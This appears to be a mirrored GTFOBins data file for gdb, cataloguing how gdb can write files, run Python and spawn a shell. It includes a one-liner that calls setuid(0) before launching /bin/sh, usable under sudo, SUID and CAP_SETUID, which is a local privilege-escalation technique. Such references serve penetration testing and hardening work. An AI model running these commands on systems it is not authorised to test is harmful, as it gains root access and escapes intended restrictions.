1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 06:31:33 +01:00
GTFOBins.github.io/_gtfobins/gdb
2026-02-09 17:30:23 +01:00

34 lines
662 B
Plaintext

---
functions:
file-write:
- code: |-
gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit
contexts:
sudo:
suid:
unprivileged:
inherit:
- code: |-
gdb -nx -ex 'python ...' -ex quit
comment: |-
This allows to run Python code (`...`).
contexts:
sudo:
suid:
unprivileged:
from: python
shell:
- code: |-
gdb -nx -ex '!/bin/sh' -ex quit
contexts:
capabilities:
code: |-
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!/bin/sh' -ex quit
list:
- CAP_SETUID
sudo:
suid:
shell: true
unprivileged:
...